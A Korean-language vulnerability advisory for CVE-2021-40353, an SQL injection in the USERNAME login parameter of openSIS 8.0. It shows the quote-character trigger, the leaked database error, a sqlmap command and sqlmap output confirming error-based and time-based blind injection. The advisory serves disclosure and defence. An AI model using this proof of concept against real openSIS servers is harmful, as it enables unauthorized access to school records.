
CVE-2021-40353 openSIS 8.0 SQL 인젝션 취약점
CVE-2021-40353 openSIS 8.0 SQL 주입 취약점 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40353
MySQL 또는 MariaDB가 애플리케이션 데이터베이스로 사용될 때 openSIS 8.0 버전에 SQL 주입 취약점이 존재합니다. 공격자는 USERNAME 매개변수를 통해 SQL 명령을 실행할 수 있습니다.
취약한 PHP 페이지:
index.php - USERNAME 매개변수
취약한 페이로드 ' - 데이터베이스 정보와 함께 오류를 발생시킵니다 " - 오류를 발생시키지 않습니다
오류
날짜:
08/31/2021 03:16:22
실패 알림:
DB 실행 실패
SQL: UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER('user1'') 추적: C:\xampp\htdocs\opensis\index.php at 502 추가 정보: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''user1'')' at line 1 날짜:
08/31/2021 03:16:22
openSIS에 다음 중 하나로 인해 발생할 수 있는 오류가 발생했습니다:
잘못된 데이터 입력
데이터베이스 SQL 오류
프로그램 오류
이 스크린샷을 찍어 디버깅 및 해결을 위해 openSIS 담당자에게 보내주세요.
sqlmap -r post_opensis -p USERNAME
[09:38:19] [INFO] POST parameter 'USERNAME' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [09:38:19] [INFO] testing 'MySQL inline queries' [09:38:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [09:38:21] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [09:38:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [09:38:46] [INFO] POST parameter 'USERNAME' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
발견자: Brian Lowe, 2021년 8월